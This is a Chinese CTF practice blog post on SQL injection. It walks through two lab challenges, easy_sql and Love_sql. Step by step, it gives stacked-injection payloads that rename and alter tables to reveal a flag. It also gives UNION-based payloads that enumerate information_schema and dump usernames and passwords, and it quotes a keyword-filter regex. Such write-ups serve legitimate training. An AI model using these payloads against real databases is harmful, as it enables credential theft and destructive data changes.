ctf每日练习-第四天

今天的内容主要是sqli,好几天没写首先因为这几天刚开学事情比较多,二是因为这几天一直都在学习,刷题反而不是很多,今天和同学去图书馆学了一波,感觉收获很大。

easy_sql(来自攻防世界web进阶区)

题目链接: easy_sql.

首先我们尝试一个单引号,报错
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’’’ at line 1

可以判断sql语句应该是 =’ input’

尝试用1’–+注入,发现被过滤掉
尝试用#,成功
用order by 判断列数为2
在这里插入图片描述
用select语句发现被过滤了
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

尝试堆叠注入:
查询所有库
在这里插入图片描述
查询所有表:
在这里插入图片描述查询这两个表内的字段

1';show columns from words;#

在这里插入图片描述

1';show columns from `1919810931114514`;#

在这里插入图片描述
这里可以判断默认查询的是words这个表,我们通过改名字把数字名字表改为words然后把flag字段改成id

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; 	alter table `words` change `flag` `id` varchar(100);#

在这里插入图片描述

Love_sql(来自buuctf 极客大挑战2019)

1’ or1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata #
在这里插入图片描述

1’ or 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek’ #

在这里插入图片描述

1’ or 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’ #
l0ve1ysq1

在这里插入图片描述

1’ or 1=2 union select 1,group_concat(username),group_concat(password) from l0ve1ysq1 #

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值